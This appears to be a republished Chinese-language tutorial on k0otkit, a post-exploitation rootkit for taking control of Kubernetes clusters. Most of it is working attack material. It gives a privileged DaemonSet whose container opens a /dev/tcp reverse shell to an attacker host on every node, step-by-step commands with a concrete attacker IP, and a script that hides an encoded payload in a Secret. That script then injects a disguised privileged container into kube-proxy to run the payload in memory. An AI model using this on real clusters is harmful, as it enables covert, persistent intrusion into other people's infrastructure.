文章前言
k0otkit是一种通用的后渗透技术，可用于对Kubernetes集群的渗透，攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点，K0otkit使用到的技术主要有以下几个：
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kube-proxy镜像(就地取材)
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动态容器注入(高隐蔽性)
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Meterpreter(流量加密)
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无文件攻击(高隐蔽性)
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DaemonSet和Secret资源(快速持续反弹、资源分离)
K8S渗透
常见的K8S集群如下所示：
常见的K8S的渗透路径：
形象的K8S的渗透过程：
集群控制
我们控制一个Kubernetes集群需要经过以下几个阶段：
Web渗透 提权 >> 逃逸 >> Master root >> ???如果此时的Master参与Pod调度，那么我们可以利用DaemonSet资源特性(如果有Pod挂掉，DaemonSet控制器将自动重建该Pod)，自动在所有节点上均部署一个Pod实例，同时将把DaemonSet和反弹shell结合在一起实现反弹shell控制节点的目的，下面是一个实例：
apiVersion: apps/v1kind: DaemonSetmetadata:name: attackerspec:selector:matchLabels:app: attackertemplate:metadata:labels:app: attackerspec:hostNetwork: truehostPID: truecontainers:name: mainimage: bashimagePullPolicy: IfNotPresentcommand: ["bash"]# reverse shellargs: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]securityContext:privileged: truevolumeMounts:mountPath: /hostname: host-rootvolumes:name: host-roothostPath:path: /type: Directory
使用实例
Step 1：下载k0otkit
git clone https://github.com/Metarget/k0otkitcd k0otkit/chmod +x ./*.sh
Step 2：替换pre_exp.sh文件中的ATTACKER_IP与ATTACKER_PORT以及载荷位数
ATTACKER_IP=192.168.17.165ATTACKER_PORT=4444
Step 3：生成k0otkit
./pre_exp.sh
Step 4：运行handle_multi_reverse_shell.sh
./handle_multi_reverse_shell.sh
Step 5：复制k0otkit.sh中的内容到master节点中去执行(注意kubeconfig文件的位置)
volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=contentctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')# create payload secretcat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f -apiVersion: v1kind: Secretmetadata:name: $secret_namenamespace: kube-systemtype: Opaquedata:$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgwEOF# assume that ctr_line_num < volume_line_num# otherwise you should switch the two sed commands below# inject malicious container into kube-proxy podkubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml| sed "$volume_line_num a - name: $volume_namen hostPath:n path: /n type: Directoryn"| sed "$ctr_line_num a - name: $ctr_namen image: $imagen imagePullPolicy: IfNotPresentn command: ["sh"]n args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n env:n - name: $payload_namen valueFrom:n secretKeyRef:n name: $secret_namen key: $secret_data_namen securityContext:n privileged: truen volumeMounts:n - mountPath: $mount_pathn name: $volume_name"| kubectl --kubeconfig /home/r00t/.kube/config replace -f -
Step 6：等待反弹shell回来
Step 7：进行交互操作
Step 8：逃逸并控制节点
原文始发于微信公众号（七芒星实验室）：K8s Rootkit集群控制
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